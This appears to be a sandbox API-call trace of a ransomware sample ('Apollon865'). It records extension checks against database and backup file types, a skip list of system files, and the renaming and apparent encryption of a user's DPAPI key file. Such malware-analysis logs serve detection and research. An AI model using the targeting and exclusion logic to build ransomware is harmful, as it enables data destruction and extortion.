	[0053.873] lstrlenW (lpString="accdr") returned 5
	[0053.873] lstrcmpiW (lpString1="3a6b9", lpString2="accdr") returned -1
	[0053.873] lstrlenW (lpString="accdt") returned 5
	[0053.873] lstrcmpiW (lpString1="3a6b9", lpString2="accdt") returned -1
	[0053.873] lstrlenW (lpString="accdw") returned 5
	[0053.873] lstrcmpiW (lpString1="3a6b9", lpString2="accdw") returned -1
	[0053.873] lstrlenW (lpString="accft") returned 5
	[0053.873] lstrcmpiW (lpString1="3a6b9", lpString2="accft") returned -1
	[0053.873] lstrlenW (lpString="adb") returned 3
	[0053.873] lstrcmpiW (lpString1="6b9", lpString2="adb") returned -1
	[0053.873] lstrlenW (lpString="adb") returned 3
	[0053.874] lstrcmpiW (lpString1="6b9", lpString2="adb") returned -1
	[0053.874] lstrlenW (lpString="ade") returned 3
	[0053.874] lstrcmpiW (lpString1="6b9", lpString2="ade") returned -1
	[0053.874] lstrlenW (lpString="adf") returned 3
	[0053.874] lstrcmpiW (lpString1="6b9", lpString2="adf") returned -1
	[0053.874] lstrlenW (lpString="adn") returned 3
	[0053.874] lstrcmpiW (lpString1="6b9", lpString2="adn") returned -1
	[0053.874] lstrlenW (lpString="adp") returned 3
	[0053.874] lstrcmpiW (lpString1="6b9", lpString2="adp") returned -1
	[0053.874] lstrlenW (lpString="alf") returned 3
	[0053.874] lstrcmpiW (lpString1="6b9", lpString2="alf") returned -1
	[0053.874] lstrlenW (lpString="ask") returned 3
	[0053.874] lstrcmpiW (lpString1="6b9", lpString2="ask") returned -1
	[0053.874] lstrlenW (lpString="btr") returned 3
	[0053.874] lstrcmpiW (lpString1="6b9", lpString2="btr") returned -1
	[0053.874] lstrlenW (lpString="cat") returned 3
	[0053.874] lstrcmpiW (lpString1="6b9", lpString2="cat") returned -1
	[0053.874] lstrlenW (lpString="cdb") returned 3
	[0053.874] lstrcmpiW (lpString1="6b9", lpString2="cdb") returned -1
	[0053.874] lstrlenW (lpString="ckp") returned 3
	[0053.874] lstrcmpiW (lpString1="6b9", lpString2="ckp") returned -1
	[0053.874] lstrlenW (lpString="cma") returned 3
	[0053.874] lstrcmpiW (lpString1="6b9", lpString2="cma") returned -1
	[0053.874] lstrlenW (lpString="cpd") returned 3
	[0053.874] lstrcmpiW (lpString1="6b9", lpString2="cpd") returned -1
	[0053.874] lstrlenW (lpString="dacpac") returned 6
	[0053.874] lstrcmpiW (lpString1="d3a6b9", lpString2="dacpac") returned -1
	[0053.874] lstrlenW (lpString="dad") returned 3
	[0053.874] lstrcmpiW (lpString1="6b9", lpString2="dad") returned -1
	[0053.874] lstrlenW (lpString="dadiagrams") returned 10
	[0053.874] lstrcmpiW (lpString1="896dd3a6b9", lpString2="dadiagrams") returned -1
	[0053.874] lstrlenW (lpString="daschema") returned 8
	[0053.874] lstrcmpiW (lpString1="6dd3a6b9", lpString2="daschema") returned -1
	[0053.874] lstrlenW (lpString="db-journal") returned 10
	[0053.875] lstrcmpiW (lpString1="896dd3a6b9", lpString2="db-journal") returned -1
	[0053.875] lstrlenW (lpString="db-shm") returned 6
	[0053.875] lstrcmpiW (lpString1="d3a6b9", lpString2="db-shm") returned -1
	[0053.875] lstrlenW (lpString="db-wal") returned 6
	[0053.875] lstrcmpiW (lpString1="d3a6b9", lpString2="db-wal") returned -1
	[0053.875] lstrlenW (lpString="dbc") returned 3
	[0053.875] lstrcmpiW (lpString1="6b9", lpString2="dbc") returned -1
	[0053.875] lstrlenW (lpString="dbs") returned 3
	[0053.875] lstrcmpiW (lpString1="6b9", lpString2="dbs") returned -1
	[0053.875] lstrlenW (lpString="dbt") returned 3
	[0053.875] lstrcmpiW (lpString1="6b9", lpString2="dbt") returned -1
	[0053.875] lstrlenW (lpString="dbv") returned 3
	[0053.875] lstrcmpiW (lpString1="6b9", lpString2="dbv") returned -1
	[0053.875] lstrlenW (lpString="dbx") returned 3
	[0053.875] lstrcmpiW (lpString1="6b9", lpString2="dbx") returned -1
	[0053.875] lstrlenW (lpString="dcb") returned 3
	[0053.875] lstrcmpiW (lpString1="6b9", lpString2="dcb") returned -1
	[0053.875] lstrlenW (lpString="dct") returned 3
	[0053.875] lstrcmpiW (lpString1="6b9", lpString2="dct") returned -1
	[0053.875] lstrlenW (lpString="dcx") returned 3
	[0053.875] lstrcmpiW (lpString1="6b9", lpString2="dcx") returned -1
	[0053.875] lstrlenW (lpString="ddl") returned 3
	[0053.875] lstrcmpiW (lpString1="6b9", lpString2="ddl") returned -1
	[0053.875] lstrlenW (lpString="dlis") returned 4
	[0053.875] lstrcmpiW (lpString1="a6b9", lpString2="dlis") returned -1
	[0053.875] lstrlenW (lpString="dp1") returned 3
	[0053.875] lstrcmpiW (lpString1="6b9", lpString2="dp1") returned -1
	[0053.875] lstrlenW (lpString="dqy") returned 3
	[0053.875] lstrcmpiW (lpString1="6b9", lpString2="dqy") returned -1
	[0053.875] lstrlenW (lpString="dsk") returned 3
	[0053.875] lstrcmpiW (lpString1="6b9", lpString2="dsk") returned -1
	[0053.875] lstrlenW (lpString="dsn") returned 3
	[0053.875] lstrcmpiW (lpString1="6b9", lpString2="dsn") returned -1
	[0053.875] lstrlenW (lpString="dtsx") returned 4
	[0053.875] lstrcmpiW (lpString1="a6b9", lpString2="dtsx") returned -1
	[0053.875] lstrlenW (lpString="dxl") returned 3
	[0053.876] lstrcmpiW (lpString1="6b9", lpString2="dxl") returned -1
	[0053.876] lstrlenW (lpString="eco") returned 3
	[0053.876] lstrcmpiW (lpString1="6b9", lpString2="eco") returned -1
	[0053.876] lstrlenW (lpString="ecx") returned 3
	[0053.876] lstrcmpiW (lpString1="6b9", lpString2="ecx") returned -1
	[0053.876] lstrlenW (lpString="edb") returned 3
	[0053.876] lstrcmpiW (lpString1="6b9", lpString2="edb") returned -1
	[0053.876] lstrlenW (lpString="epim") returned 4
	[0053.876] lstrcmpiW (lpString1="a6b9", lpString2="epim") returned -1
	[0053.876] lstrlenW (lpString="fcd") returned 3
	[0053.876] lstrcmpiW (lpString1="6b9", lpString2="fcd") returned -1
	[0053.876] lstrlenW (lpString="fdb") returned 3
	[0053.876] lstrcmpiW (lpString1="6b9", lpString2="fdb") returned -1
	[0053.876] lstrlenW (lpString="fic") returned 3
	[0053.876] lstrcmpiW (lpString1="6b9", lpString2="fic") returned -1
	[0053.876] lstrlenW (lpString="flexolibrary") returned 12
	[0053.876] lstrcmpiW (lpString1="5f896dd3a6b9", lpString2="flexolibrary") returned -1
	[0053.876] lstrlenW (lpString="fm5") returned 3
	[0053.876] lstrcmpiW (lpString1="6b9", lpString2="fm5") returned -1
	[0053.876] lstrlenW (lpString="fmp") returned 3
	[0053.876] lstrcmpiW (lpString1="6b9", lpString2="fmp") returned -1
	[0053.876] lstrlenW (lpString="fmp12") returned 5
	[0053.876] lstrcmpiW (lpString1="3a6b9", lpString2="fmp12") returned -1
	[0053.876] lstrlenW (lpString="fmpsl") returned 5
	[0053.876] lstrcmpiW (lpString1="3a6b9", lpString2="fmpsl") returned -1
	[0053.876] lstrlenW (lpString="fol") returned 3
	[0053.876] lstrcmpiW (lpString1="6b9", lpString2="fol") returned -1
	[0053.876] lstrlenW (lpString="fp3") returned 3
	[0053.876] lstrcmpiW (lpString1="6b9", lpString2="fp3") returned -1
	[0053.876] lstrlenW (lpString="fp4") returned 3
	[0053.876] lstrcmpiW (lpString1="6b9", lpString2="fp4") returned -1
	[0053.876] lstrlenW (lpString="fp5") returned 3
	[0053.876] lstrcmpiW (lpString1="6b9", lpString2="fp5") returned -1
	[0053.876] lstrlenW (lpString="fp7") returned 3
	[0053.876] lstrcmpiW (lpString1="6b9", lpString2="fp7") returned -1
	[0053.876] lstrlenW (lpString="fpt") returned 3
	[0053.877] lstrcmpiW (lpString1="6b9", lpString2="fpt") returned -1
	[0053.877] lstrlenW (lpString="frm") returned 3
	[0053.877] lstrcmpiW (lpString1="6b9", lpString2="frm") returned -1
	[0053.877] lstrlenW (lpString="gdb") returned 3
	[0053.877] lstrcmpiW (lpString1="6b9", lpString2="gdb") returned -1
	[0053.877] lstrlenW (lpString="gdb") returned 3
	[0053.877] lstrcmpiW (lpString1="6b9", lpString2="gdb") returned -1
	[0053.877] lstrlenW (lpString="grdb") returned 4
	[0053.877] lstrcmpiW (lpString1="a6b9", lpString2="grdb") returned -1
	[0053.877] lstrlenW (lpString="gwi") returned 3
	[0053.877] lstrcmpiW (lpString1="6b9", lpString2="gwi") returned -1
	[0053.877] lstrlenW (lpString="hdb") returned 3
	[0053.877] lstrcmpiW (lpString1="6b9", lpString2="hdb") returned -1
	[0053.877] lstrlenW (lpString="his") returned 3
	[0053.877] lstrcmpiW (lpString1="6b9", lpString2="his") returned -1
	[0053.877] lstrlenW (lpString="ib") returned 2
	[0053.877] lstrcmpiW (lpString1="b9", lpString2="ib") returned -1
	[0053.877] lstrlenW (lpString="idb") returned 3
	[0053.877] lstrcmpiW (lpString1="6b9", lpString2="idb") returned -1
	[0053.877] lstrlenW (lpString="ihx") returned 3
	[0053.877] lstrcmpiW (lpString1="6b9", lpString2="ihx") returned -1
	[0053.877] lstrlenW (lpString="itdb") returned 4
	[0053.877] lstrcmpiW (lpString1="a6b9", lpString2="itdb") returned -1
	[0053.877] lstrlenW (lpString="itw") returned 3
	[0053.877] lstrcmpiW (lpString1="6b9", lpString2="itw") returned -1
	[0053.877] lstrlenW (lpString="jet") returned 3
	[0053.877] lstrcmpiW (lpString1="6b9", lpString2="jet") returned -1
	[0053.877] lstrlenW (lpString="jtx") returned 3
	[0053.877] lstrcmpiW (lpString1="6b9", lpString2="jtx") returned -1
	[0053.877] lstrlenW (lpString="kdb") returned 3
	[0053.877] lstrcmpiW (lpString1="6b9", lpString2="kdb") returned -1
	[0053.877] lstrlenW (lpString="kexi") returned 4
	[0053.877] lstrcmpiW (lpString1="a6b9", lpString2="kexi") returned -1
	[0053.877] lstrlenW (lpString="kexic") returned 5
	[0053.877] lstrcmpiW (lpString1="3a6b9", lpString2="kexic") returned -1
	[0053.877] lstrlenW (lpString="kexis") returned 5
	[0053.878] lstrcmpiW (lpString1="3a6b9", lpString2="kexis") returned -1
	[0053.878] lstrlenW (lpString="lgc") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="lgc") returned -1
	[0053.878] lstrlenW (lpString="lwx") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="lwx") returned -1
	[0053.878] lstrlenW (lpString="maf") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="maf") returned -1
	[0053.878] lstrlenW (lpString="maq") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="maq") returned -1
	[0053.878] lstrlenW (lpString="mar") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="mar") returned -1
	[0053.878] lstrlenW (lpString="marshal") returned 7
	[0053.878] lstrcmpiW (lpString1="dd3a6b9", lpString2="marshal") returned -1
	[0053.878] lstrlenW (lpString="mas") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="mas") returned -1
	[0053.878] lstrlenW (lpString="mav") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="mav") returned -1
	[0053.878] lstrlenW (lpString="maw") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="maw") returned -1
	[0053.878] lstrlenW (lpString="mdbhtml") returned 7
	[0053.878] lstrcmpiW (lpString1="dd3a6b9", lpString2="mdbhtml") returned -1
	[0053.878] lstrlenW (lpString="mdn") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="mdn") returned -1
	[0053.878] lstrlenW (lpString="mdt") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="mdt") returned -1
	[0053.878] lstrlenW (lpString="mfd") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="mfd") returned -1
	[0053.878] lstrlenW (lpString="mpd") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="mpd") returned -1
	[0053.878] lstrlenW (lpString="mrg") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="mrg") returned -1
	[0053.878] lstrlenW (lpString="mud") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="mud") returned -1
	[0053.878] lstrlenW (lpString="mwb") returned 3
	[0053.878] lstrcmpiW (lpString1="6b9", lpString2="mwb") returned -1
	[0053.879] lstrlenW (lpString="myd") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="myd") returned -1
	[0053.879] lstrlenW (lpString="ndf") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="ndf") returned -1
	[0053.879] lstrlenW (lpString="nnt") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="nnt") returned -1
	[0053.879] lstrlenW (lpString="nrmlib") returned 6
	[0053.879] lstrcmpiW (lpString1="d3a6b9", lpString2="nrmlib") returned -1
	[0053.879] lstrlenW (lpString="ns2") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="ns2") returned -1
	[0053.879] lstrlenW (lpString="ns3") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="ns3") returned -1
	[0053.879] lstrlenW (lpString="ns4") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="ns4") returned -1
	[0053.879] lstrlenW (lpString="nsf") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="nsf") returned -1
	[0053.879] lstrlenW (lpString="nv") returned 2
	[0053.879] lstrcmpiW (lpString1="b9", lpString2="nv") returned -1
	[0053.879] lstrlenW (lpString="nv2") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="nv2") returned -1
	[0053.879] lstrlenW (lpString="nwdb") returned 4
	[0053.879] lstrcmpiW (lpString1="a6b9", lpString2="nwdb") returned -1
	[0053.879] lstrlenW (lpString="nyf") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="nyf") returned -1
	[0053.879] lstrlenW (lpString="odb") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="odb") returned -1
	[0053.879] lstrlenW (lpString="odb") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="odb") returned -1
	[0053.879] lstrlenW (lpString="oqy") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="oqy") returned -1
	[0053.879] lstrlenW (lpString="ora") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="ora") returned -1
	[0053.879] lstrlenW (lpString="orx") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="orx") returned -1
	[0053.879] lstrlenW (lpString="owc") returned 3
	[0053.879] lstrcmpiW (lpString1="6b9", lpString2="owc") returned -1
	[0053.880] lstrlenW (lpString="p96") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="p96") returned -1
	[0053.880] lstrlenW (lpString="p97") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="p97") returned -1
	[0053.880] lstrlenW (lpString="pan") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="pan") returned -1
	[0053.880] lstrlenW (lpString="pdb") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="pdb") returned -1
	[0053.880] lstrlenW (lpString="pdm") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="pdm") returned -1
	[0053.880] lstrlenW (lpString="pnz") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="pnz") returned -1
	[0053.880] lstrlenW (lpString="qry") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="qry") returned -1
	[0053.880] lstrlenW (lpString="qvd") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="qvd") returned -1
	[0053.880] lstrlenW (lpString="rbf") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="rbf") returned -1
	[0053.880] lstrlenW (lpString="rctd") returned 4
	[0053.880] lstrcmpiW (lpString1="a6b9", lpString2="rctd") returned -1
	[0053.880] lstrlenW (lpString="rod") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="rod") returned -1
	[0053.880] lstrlenW (lpString="rodx") returned 4
	[0053.880] lstrcmpiW (lpString1="a6b9", lpString2="rodx") returned -1
	[0053.880] lstrlenW (lpString="rpd") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="rpd") returned -1
	[0053.880] lstrlenW (lpString="rsd") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="rsd") returned -1
	[0053.880] lstrlenW (lpString="sas7bdat") returned 8
	[0053.880] lstrcmpiW (lpString1="6dd3a6b9", lpString2="sas7bdat") returned -1
	[0053.880] lstrlenW (lpString="sbf") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="sbf") returned -1
	[0053.880] lstrlenW (lpString="scx") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="scx") returned -1
	[0053.880] lstrlenW (lpString="sdb") returned 3
	[0053.880] lstrcmpiW (lpString1="6b9", lpString2="sdb") returned -1
	[0053.881] lstrlenW (lpString="sdc") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="sdc") returned -1
	[0053.881] lstrlenW (lpString="sdf") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="sdf") returned -1
	[0053.881] lstrlenW (lpString="sis") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="sis") returned -1
	[0053.881] lstrlenW (lpString="spq") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="spq") returned -1
	[0053.881] lstrlenW (lpString="te") returned 2
	[0053.881] lstrcmpiW (lpString1="b9", lpString2="te") returned -1
	[0053.881] lstrlenW (lpString="teacher") returned 7
	[0053.881] lstrcmpiW (lpString1="dd3a6b9", lpString2="teacher") returned -1
	[0053.881] lstrlenW (lpString="tmd") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="tmd") returned -1
	[0053.881] lstrlenW (lpString="tps") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="tps") returned -1
	[0053.881] lstrlenW (lpString="trc") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="trc") returned -1
	[0053.881] lstrlenW (lpString="trc") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="trc") returned -1
	[0053.881] lstrlenW (lpString="trm") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="trm") returned -1
	[0053.881] lstrlenW (lpString="udb") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="udb") returned -1
	[0053.881] lstrlenW (lpString="udl") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="udl") returned -1
	[0053.881] lstrlenW (lpString="usr") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="usr") returned -1
	[0053.881] lstrlenW (lpString="v12") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="v12") returned -1
	[0053.881] lstrlenW (lpString="vis") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="vis") returned -1
	[0053.881] lstrlenW (lpString="vpd") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="vpd") returned -1
	[0053.881] lstrlenW (lpString="vvv") returned 3
	[0053.881] lstrcmpiW (lpString1="6b9", lpString2="vvv") returned -1
	[0053.882] lstrlenW (lpString="wdb") returned 3
	[0053.882] lstrcmpiW (lpString1="6b9", lpString2="wdb") returned -1
	[0053.882] lstrlenW (lpString="wmdb") returned 4
	[0053.882] lstrcmpiW (lpString1="a6b9", lpString2="wmdb") returned -1
	[0053.882] lstrlenW (lpString="wrk") returned 3
	[0053.882] lstrcmpiW (lpString1="6b9", lpString2="wrk") returned -1
	[0053.882] lstrlenW (lpString="xdb") returned 3
	[0053.882] lstrcmpiW (lpString1="6b9", lpString2="xdb") returned -1
	[0053.882] lstrlenW (lpString="xld") returned 3
	[0053.882] lstrcmpiW (lpString1="6b9", lpString2="xld") returned -1
	[0053.882] lstrlenW (lpString="xmlff") returned 5
	[0053.882] lstrcmpiW (lpString1="3a6b9", lpString2="xmlff") returned -1
	[0053.882] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9.Apollon865") returned 144
	[0053.882] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9.apollon865"), dwFlags=0x1) returned 1
	[0053.883] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.883] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=468) returned 1
	[0053.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0053.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0053.883] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0053.884] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.884] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0053.884] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e0, lpName=0x0) returned 0x154
	[0053.893] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e0) returned 0x120000
	[0053.897] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0053.898] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.898] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0053.898] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.898] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.898] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.898] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.898] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.898] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.898] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0053.898] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.898] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0053.898] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.899] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0053.899] CloseHandle (hObject=0x154) returned 1
	[0053.899] CloseHandle (hObject=0xc0) returned 1
	[0053.899] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.899] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0053.899] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0053.899] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e4f6b90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e4f6b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.899] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.899] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1
	[0053.899] lstrcmpiW (lpString1="Preferred", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.899] lstrcmpiW (lpString1="Preferred", lpString2="Apollon865.txt.exe") returned 1
	[0053.899] lstrcmpiW (lpString1="Preferred", lpString2=".") returned 1
	[0053.899] lstrcmpiW (lpString1="Preferred", lpString2="..") returned 1
	[0053.899] lstrcmpiW (lpString1="Preferred", lpString2="windows") returned -1
	[0053.899] lstrcmpiW (lpString1="Preferred", lpString2="bootmgr") returned 1
	[0053.899] lstrcmpiW (lpString1="Preferred", lpString2="temp") returned -1
	[0053.899] lstrcmpiW (lpString1="Preferred", lpString2="pagefile.sys") returned 1
	[0053.899] lstrcmpiW (lpString1="Preferred", lpString2="boot") returned 1
	[0053.899] lstrcmpiW (lpString1="Preferred", lpString2="ids.txt") returned 1
	[0053.899] lstrcmpiW (lpString1="Preferred", lpString2="ntuser.dat") returned 1
	[0053.899] lstrcmpiW (lpString1="Preferred", lpString2="perflogs") returned 1
	[0053.899] lstrcmpiW (lpString1="Preferred", lpString2="MSBuild") returned 1
	[0053.899] lstrlenW (lpString="Preferred") returned 9
	[0053.900] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 133
	[0053.900] lstrcpyW (in: lpString1=0x119e6ca, lpString2="Preferred" | out: lpString1="Preferred") returned="Preferred"
	[0053.900] lstrlenW (lpString="Preferred") returned 9
	[0053.900] lstrlenW (lpString="Apollon865") returned 10
	[0053.900] lstrlenW (lpString=".dll") returned 4
	[0053.900] lstrcmpiW (lpString1="Preferred", lpString2=".dll") returned 1
	[0053.900] lstrlenW (lpString=".lnk") returned 4
	[0053.900] lstrcmpiW (lpString1="Preferred", lpString2=".lnk") returned 1
	[0053.900] lstrlenW (lpString=".ini") returned 4
	[0053.900] lstrcmpiW (lpString1="Preferred", lpString2=".ini") returned 1
	[0053.900] lstrlenW (lpString=".sys") returned 4
	[0053.900] lstrcmpiW (lpString1="Preferred", lpString2=".sys") returned 1
	[0053.900] lstrlenW (lpString="Preferred") returned 9
	[0053.900] lstrlenW (lpString="bak") returned 3
	[0053.900] lstrcmpiW (lpString1="red", lpString2="bak") returned 1
	[0053.900] lstrlenW (lpString="ba_") returned 3
	[0053.900] lstrcmpiW (lpString1="red", lpString2="ba_") returned 1
	[0053.900] lstrlenW (lpString="dbb") returned 3
	[0053.900] lstrcmpiW (lpString1="red", lpString2="dbb") returned 1
	[0053.900] lstrlenW (lpString="vmdk") returned 4
	[0053.900] lstrcmpiW (lpString1="rred", lpString2="vmdk") returned -1
	[0053.901] lstrlenW (lpString="rar") returned 3
	[0053.901] lstrcmpiW (lpString1="red", lpString2="rar") returned 1
